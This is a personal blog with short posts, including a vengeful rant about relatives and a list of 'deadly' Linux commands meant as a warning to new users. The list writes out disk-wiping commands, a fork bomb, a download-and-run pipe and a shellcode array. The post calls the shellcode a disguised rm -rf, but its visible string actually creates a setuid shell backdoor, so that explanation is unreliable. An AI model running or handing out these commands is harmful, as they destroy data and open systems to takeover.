Saturday, February 21, 2009

Justice

Darn...a harsh action was taken by some stupid relatives, towards my family.
This is threat, of course, I must not let it pass by.

Bring it to justice is a solution.But somehow one of my family members do not want to involve to facing and charge the crime act. This is totally stupid and lame. By doing such kind of act, it must not be just keeping silence, crime must be punished and justified.

oh, relatives, you are being harsh to my family members, this is threatening?
yes, I will not allow it. I will fight back without transgress the limit. I will show you what is justice.

You shall pay the price.

Monday, February 9, 2009

Friday, January 16, 2009

some words

The significant problems we have cannot be solved at the same level of thinking with which we created them.

Life's more painless for the brainless.

I read it wrong and answer it wrong too. So get off my case you peanut.

Imagine the power if you knew how to internet search

Thursday, January 15, 2009

Tools

"Quemadmodum gladius neminem occidit, occidentis telum est."
(A sword never kills anybody; it is a tool in the killer's hand.)
Seneca, Letters to Lucilius

source

Monday, December 29, 2008

7 deadly linux cmds

If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code:

rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:

:(){:|:&};:

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.

There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.

source: 1,2